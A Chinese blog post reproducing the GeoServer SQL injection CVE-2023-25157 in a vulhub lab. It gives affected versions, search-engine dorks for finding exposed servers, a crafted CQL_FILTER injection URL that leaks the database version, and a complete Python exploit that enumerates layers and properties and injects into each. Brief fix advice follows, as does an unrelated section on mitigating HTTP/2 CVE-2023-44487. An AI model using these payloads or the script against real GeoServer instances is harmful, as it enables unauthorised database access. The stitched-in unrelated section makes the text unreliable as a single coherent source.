GeoServer SQL 注入漏洞复现(CVE-2023-25157)附poc

简介

GeoServer是OpenGIS Web 服务器规范的 J2EE 实现,利用 GeoServer 可以方便的发布地图数据,允许用户对特征数据进行更新、删除、插入操作,通过 GeoServer 可以比较容易的在用户之间迅速共享空间地理信息。

漏洞概述

在2.22.1和2.21.4之前版本中,在开放地理空间联盟(OGC)标准定义的过滤器和函数表达式中发现了一个SQL注入问题,未经身份验证的攻击者可以利用该漏洞进行SQL注入,执行恶意代码。

影响版本

geoserver<2.18.7
2.19.0<=geoserver<2.19.7
2.20.0<=geoserver<2.20.7
2.21.0<=geoserver<2.21.4
2.22.0<=geoserver<2.22.2

搜索语法

fofa: icon_hash=“97540678”

google: inurl:“/geoserver/ows?service=wfs”

漏洞复现

使用vulhub靶场复现

cd vulhub-master/
cd geoserver/
cd CVE-2023-25157
docker-compose up -d
docker-compose ps

1.访问http://yourip:8080/geoserver进入首页

在这里插入图片描述

2.获取每个功能名称

在进行注入之前,首先要获取地理图层列表信息,这是sql注入payload中的一个必要参数

访问以下url获取:
http://192.168.43.161:8080/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities

<Name>标签中的信息,就是地理图层列表。这里选择vulhub:example作为地理图层列表信息
在这里插入图片描述

3.获取功能的属性

将上一步获取的typeName的name属性值拼接到url中,构成url如下:
http://192.168.43.161:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&maxFeatures=1&outputFormat=json
在这里插入图片描述

4.构造SQL 注入
Feature type (table) name: vulhub:example
One of attribute from feature type: name
利用这些已知参数,拼接成payload:
http://192.168.43.161:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=strStartsWith(name,%27x%27%27)%20=%20true%20and%201=(SELECT%20CAST%20((SELECT%20version())%20AS%20integer))%20–%20%27)%20=%20true

在这里插入图片描述

成功获取到数据库版本号

修复建议

升级 org.geoserver.community:gs-jdbcconfig 到 2.21.4 或 2.22.2 或更高版本
禁用 PostGIS Datastore 的 encode functions 或使用 preparedStatements 处理 sql 语句

poc

使用方法:python CVE-2023-25157.py http://your-ip:8080/geoserver/ows

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import requests
import sys
import xml.etree.ElementTree as ET
import json

# Colored output codes
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
BOLD = '\033[1m'
ENDC = '\033[0m'

# Check if the script is run without parameters
if len(sys.argv) == 1:
    print(f"{YELLOW}This script requires a URL parameter.{ENDC}")
    print(f"{YELLOW}Usage: python3 {sys.argv[0]} <URL>{ENDC}")
    sys.exit(1)

# URL and proxy settings
URL = sys.argv[1]
PROXY_ENABLED = False
PROXY = "http://127.0.0.1:8080/" if PROXY_ENABLED else None

response = requests.get(URL + "/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities",
                        proxies={"http": PROXY}, verify=False)

if response.status_code == 200:

    # Parse the XML response and extract the Name from each FeatureType and store in a list
    root = ET.fromstring(response.text)
    feature_types = root.findall('.//{http://www.opengis.net/wfs}FeatureType')
    names = [feature_type.findtext('{http://www.opengis.net/wfs}Name') for feature_type in feature_types]

    # Print the feature names
    print(f"{GREEN}Available feature names:{ENDC}")
    for name in names:
        print(f"- {name}")

    # Send requests for each feature name and CQL_FILTER type
    cql_filters = [
        "strStartsWith"]  # We can also exploit other filter/functions like "PropertyIsLike", "strEndsWith", "strStartsWith", "FeatureId", "jsonArrayContains", "DWithin" etc.
    for name in names:
        for cql_filter in cql_filters:
            endpoint = f"/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName={name}&maxFeatures=1&outputFormat=json"
            response = requests.get(URL + endpoint, proxies={"http": PROXY}, verify=False)
            if response.status_code == 200:
                json_data = json.loads(response.text)
                try:
                    properties = json_data['features'][0]['properties']
                except  IndexError:
                    print("Error: 超出范围")
                property_names = list(properties.keys())
                print(f"\n{GREEN}Available Properties for {name}:{ENDC}")
                for property_name in property_names:
                    print(f"- {property_name}")

                print(f"\n{YELLOW}Sending requests for each property name:{ENDC}")
                for property_name in property_names:
                    endpoint = f"/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName={name}&CQL_FILTER={cql_filter}%28{property_name}%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true"
                    response = requests.get(URL + endpoint, proxies={"http": PROXY}, verify=False)
                    print(
                        f"[+] Sending request for {BOLD}{name}{ENDC} with Property {BOLD}{property_name}{ENDC} and CQL_FILTER: {BOLD}{cql_filter}{ENDC}")
                    if response.status_code == 200:
                        root = ET.fromstring(response.text)
                        error_message = root.findtext('.//{http://www.opengis.net/ogc}ServiceException')
                        print(f"{GREEN}{error_message}{ENDC}")
                    else:
                        print(f"{RED}Request failed{ENDC}")
            else:
                print(f"{RED}Request failed{ENDC}")
else:
    print(f"{RED}Failed to retrieve XML data{ENDC}")
### 如何修复HTTP/2 CVE-2023-44487 拒绝服务漏洞 #### Apache HTTP Server 修复方案 对于Apache HTTP Server,当检测到存在CVE-2023-44487漏洞时,应立即采取措施更新至最新稳定版。官方已针对此问题发布了补丁程序,建议尽快应用这些安全更新来消除潜在风险[^1]。 #### Nginx 配置调整策略 考虑到Nginx在处理HTTP/2连接方面的能力,可以通过设置`keepalive_requests`参数限制单个TCP连接上的最大请求数量,以此缓解可能发生的DDoS攻击影响。具体操作是在nginx.conf文件中的http块加入如下配置: ```nginx http { ... keepalive_requests 100; # 设置合理的数值以适应实际应用场景需求 } ``` 此外,还应当关注Nginx官方发布的安全公告并及时安装任何可用的安全修补程序[^3]。 #### Jetty 用户应对指南 如果使用的是Jetty容器,则需要注意特定版本范围内的实例可能会受到该漏洞的影响。例如,在提到的一个案例中,GeoServer所依赖的Jetty版本低于9.4.53因而面临安全隐患。对此类情况的一种解决方案是尝试手动替换受影响组件的JAR包为较新且不含缺陷的版本;不过更推荐的做法是从源码编译或寻找由供应商提供的经过测试确认无误的新发行版[^5]。 #### 安全实践总结 无论采用何种Web服务器软件,保持系统的持续监控与定期审查至关重要。这不仅有助于提前发现并解决问题,也能确保组织始终处于最佳防御状态对抗新兴威胁。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值